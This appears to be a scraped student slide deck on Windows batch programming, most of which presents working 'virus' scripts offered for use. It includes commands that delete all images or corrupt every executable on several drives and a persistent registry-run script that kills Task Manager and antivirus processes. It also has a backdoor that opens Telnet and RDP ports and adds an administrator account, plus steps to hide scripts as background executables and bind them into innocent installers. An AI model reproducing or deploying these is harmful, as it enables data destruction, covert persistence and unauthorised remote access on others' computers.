Batch file programming


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Batch file programming

  1. 1. Batch File Programming .(Virus Attacks) Introduction. Structure. Operators. Syntax. Fun. Dangerous.bat Utilities. Virus Attacks. Preventions. Presented by – Yogendra Kirar M.C.A Final year.
  2. 2. Introduction. Batch processing Explain. (In MS-Windows) Batch processing means when there are some unique processes or tasks executes one after another in form of a group, bunch, or batch. Here, in windows batch file means the bunch of DOS(Disk Operating System) Commands. By effective batch file programming many utilities, funny items or viruses that harm the windows machines can prepared. For good Batch file programmer deep knowledgeCommands in new lines of DOS commands is must.
  3. 3. Introduction. For making any batch file steps are.  Open Notepad.  Type DOS commands separately in new line.  Saved it by .bat extension.  To execute Double Click on that file which looks like . This is default icon of Batch files in Windows OS.
  4. 4. Structure  Example – running dos command. Start-Run-cmd Then cmd windows open looks like Now type any ms dos commands. You can control entire Operation System through DOS commands. For more commands type help and press enter.
  5. 5. Structure Working of File When we Click any batch file then -Firstly it opens the file read first line command run in command prompt. -Then closes the file. -Again open the file and run second file then close it. -Again open - run – close this process is continue till the commands ends and exit. Note: All commands must be in new Line.
  6. 6. Operators. Operators – as Accelerators With batch files, which are also called batch Programs or scripts, you can simplify routine or repetitive tasks -Call -Setlocal -Echo -Endlocal -For -If -Rem -Goto -Shift -Endlocal
  7. 7. Syntax Syntax (mostly used) call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] echo [{on|off}] [message] for {%variable|%%variable} in (set) do command [ CommandLineOptions] rem [comment] goto label
  8. 8. Fun Undeletable Folder with Your Name. This code will create a folder on desktop and in root of all drives of your computer which is not simply deletable.--------------------------------------------------------------------------------------:ymd C:"Documents and Settings""All Users"Desktopyogendramd c:yogendramd d:yogendramd e:yogendramd f:yogendramd g:yogendramd h:yogendragoto y---------------------------------------------------------------------------------------Copy this code in note pad and save it by anyname.bat
  9. 9. Important:Here, all of you a Question or doubt in mind.Is this true?You think that if the black window of command prompt will continuously stays on desktop or on taskbar any on can suspect on it and if, somebody closes it then our batch file execution is stopped.Solution of this is the Batch to Exe convertor software which converts batch file into exe . Then the file runs in background and uncatchable.Bat2exe: you can download this from url: soft_id=50301&
  10. 10. Snapshot – Bat to Exe Source path (.bat file) Output path (.exe file) Check invisible application Finally compile the file
  11. 11. Fun Can’t do anything By this code we create a file that ends the explorer.exe and all things are gone.Code:----------------------------------------------------------------------------------------Taskkill /im explorer.exe /f----------------------------------------------------------------------------------------
  12. 12. Fun Many Folders this code creates 1000’s of folders with number naming. Code:----------------------------------------------------------------------:eMd %random%Goto e----------------------------------------------------------------------
  13. 13. Fun Rotating Clock hands this code rotates clocks hands continuously.Code:---------------------------------------------------------------------------------------------:ytime = 12:05:12time = 12:10:12time = 12:15:12time = 12:20:12time = 12:25:12time = 12:30:12time = 12:35:12time = 12:40:12time = 12:45:12time = 12:50:12time = 12:55:12goto y-----------------------------------------------------------------------------------------------------------------------------------
  14. 14. Utilities With funny things we can also make some utilities for windows machine. Utilities which helps us to maintain our system like speed, performance, hardisk mantainence. By batch file we can make schedule task.
  15. 15. Utilities Disk defragmenter file. This file is used to defragment your hard disk. Copy this file into location. “C:Documents and SettingsAll UsersStart MenuProgramsStartup”code:------------------------------------------------------------------------------------------Defrag c: -fDefrag d: -fDefrag e: -fDefrag f: -fMsg * Defragment is completed---------------------------------------------------------------------------------------------
  16. 16. UtilitiesSteganography code:Code:-----------------------------------------------------------------------Copy /b %1 + /b %2 new.jpgexit-----------------------------------------------------------------------------------------Save this code by hide.batHiding process1. Copy this hide.bat in a folder.2. Now copy a jpge file and a text file which we wants to hide behind jpeg in that folder.3. Now runs this hide .bat through dos prompt by providing names of jpeg file and text file in order (.jpeg <space> .txt ) and runs it.A new.jpeg is created with text hidden in it.4. To get your text open this jpeg in notepad and find your text in last of the notepad.
  17. 17. UtilitiesRefresh. Code:Code:-----------------------------------------------------------------------taskkill /im explorer.exe /fstart explorer.exe----------------------------------------------------------------------------------------------Scheduled Shutdown:Code:-----------------------------------------------------------------------At [time] shutdown –s –f –t 00 –c “Message”-----------------------------------------------------------------------
  18. 18. Virus AttacksSystem restart virus.This batch file code is restarts system when it startsCode:---------------------------------------------------------------------------------------------echo shutdown –r –f –t 00 > shut.batmove shut.bat C:"Documents and Settings""All Users""Start Menu"ProgramsStartup----------------------------------------------------------------------------------------------Copy the above code and paste in notepad by name anything.bat and runs on anyPc then after next restart the system will never starts and automatically restarts.
  19. 19. Virus Attacks For loop viruses 1 For loop is a looping operator which creates loop for any command This code creates messages on desktop showing files are corrupted.----------------------------------------------------------------------------------------------Code:For /r c: %%y in (*.*) do msg * %%y ------ is Corrupted. it not actually corrupts the file it shows only messages----------------------------------------------------------------------------------------------Note: conversion into exe is required.
  20. 20. Virus AttacksFor loop viruses 2 (Damage level :High)For loop is a looping operator which creates loop for any command4. This code will remove all images, wallpapers from your system Warning! -- Try it on your own risk.Code: for /r c: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r d: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r e: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r f: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q Note: conversion into exe is required.
  21. 21. Virus AttacksFor loop viruses 3 (Damage level :High)For loop is a looping operator which creates loop for any command3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk.Code: echo 00967jyj875kkj6704ekfkf9iddkc224543453000 > c:tempero.null for /r c: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r d: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r e: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r f: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y del c:tempero.null /s/q Note: conversion into exe is required.
  22. 22. Virus AttacksFor loop viruses 4 (Damage level :High)For loop is a looping operator which creates loop for any command3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk.Code: echo you lost all !!!! >c:tempero.null for /r c: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r d: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r e: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r f: %%y in (*.exe) do copy c:temporal.null + %%y %%y del c:tempero.null /s/qNote: conversion into exe is required.
  23. 23. My Friend Virus (Dangerous level : High) @echo off rename mypic.exe igfx.exe if exist c:windowssystem32igfx.exe goto code if exist d:windowssystem32igfx.exe goto code if exist e:windowssystem32igfx.exe goto code if exist f:windowssystem32igfx.exe goto code if exist g:windowssystem32igfx.exe goto code echo Windows Registry Editor Version 5.00>yog.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>yog.reg if exist c:windowsnul echo "yhlsagent"="c:windowssystem32igfx.exe">>yog.reg if exist d:windowsnul echo "yhlsagent"="d:windowssystem32igfx.exe">>yog.reg if exist e:windowsnul echo "yhlsagent"="e:windowssystem32igfx.exe">>yog.reg if exist f:windowsnul echo "yhlsagent"="f:windowssystem32igfx.exe">>yog.reg if exist g:windowsnul echo "yhlsagent"="g:windowssystem32igfx.exe">>yog.reg echo "avast!"="C:PROGRA~1Disp.exe">>yog.reg echo "avgnt"="C:PROGRA~1avg.exe">>yog.reg echo "USB Antivirus"="C:Program FilesGuard.exe">>yog.reg regedit /s yog.reg del yog.reg /s/q echo Windows Registry Editor Version 5.00>yog.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>yog.reg echo "LegalNoticeCaption"="Say Happy Birthday to me">>yog.reg echo "LegalNoticeText"="I want that you wish to me on my birthday. I am very alone person, I have no any friend, do u want to become my friend, please accept me as ur friend, all the best my friend for ur all works in future, I want to ask u a question would u be alone as me, so plz develop ur interest in making friends like me. !!!!!!!!!!!">>yog.reg regedit /s yog.reg del yog.reg /s/q if exist c:windowsnul copy igfx.exe c:windowssystem32 if exist d:windowsnul copy igfx.exe d:windowssystem32 if exist e:windowsnul copy igfx.exe e:windowssystem32 if exist f:windowsnul copy igfx.exe f:windowssystem32 if exist g:windowsnul copy igfx.exe g:windowssystem32 :code shutdown -r -f -t 600 :e if exist c:windowsnul md C:Docume~1Admini~1Desktop"I always with u my friend" if exist d:windowsnul md d:Docume~1Admini~1Desktop"I always with u my friend" if exist e:windowsnul md e:Docume~1Admini~1Desktop"I always with u my friend" if exist f:windowsnul md f:Docume~1Admini~1Desktop"I always with u my friend" if exist g:windowsnul md g:Docume~1Admini~1Desktop"I always with u my friend" taskkill /im USBGuard.exe /f taskkill /im notepad.exe /f taskkill /im SOUNDMAN.exe /f taskkill /im taskmgr.exe /f date 02-12-3060 goto e conversion into exe is required
  24. 24. Telnet Trojen. Work as Remote Administrator tool with the use of telenet. @echo off sc config tlntsvr start= auto net start tlntsvr netsh firewall add portopening TCP 23 "Telnet" sc config termservice start= auto net start termservice netsh firewall add portopening TCP 3389 "Remote Desktop" net user Default 12345 /add net localgroup administrators Default /add By Sourabh Mishra.
  25. 25. Finishing Virus Coding Firstly copy all these coding into the notepad and name them anything with .bat extention. Now converts this .bat file into .exe file with the help of Bat to Exe converter. This is the software which Helps us to hide the cmd coding and runs the process in background. File.bat File.exe
  26. 26. Finishing Virus Coding After converting .bat file into .exe file What to do Next? All of u thinking that these are the .exe files how these are spreads. Your answer is the software which reside in directory c:windowssystem32 with name iexpress to start iexpress Start > Run > iexpress You will see this windows this is your mixing software.
  27. 27. Finishing Virus Coding Follows the instruction of software then after pressing some next you will find this window. Here, add your viral code and the innocent software(exe) in which u want to bind this.
  28. 28. Finishing Virus Coding After that in two selection windows firstly select the innocent software(exe) location then in second Window select your viral code(exe).Follows the instruction and yourNew software setup is createdWhich is innocent but containsHarmful virus.When we install this software , thenAfter installation of software theAdded virus code is runs.
  29. 29. Finishing Virus Coding Mixing process. .bat .exe setup.exe
  30. 30. Prevention (Conclusion) Some possible prevention or conclusions are1.Do not accept any file with .bat or .exe extension on the internet while chatting or from your mailbox.2.Do not take softwares from untrusted vendors.3.Always check your autoruns by— start>run>msconfig>startup if u find something suspected target its path and remove it after checking it.4.These are the batch viruses which are not so advanced viruses but having very dangerous capabilities, and only strong updated antivirus can catch them so always kept updated antivirus.
  31. 31. Have any questions? Yogendra Kirar.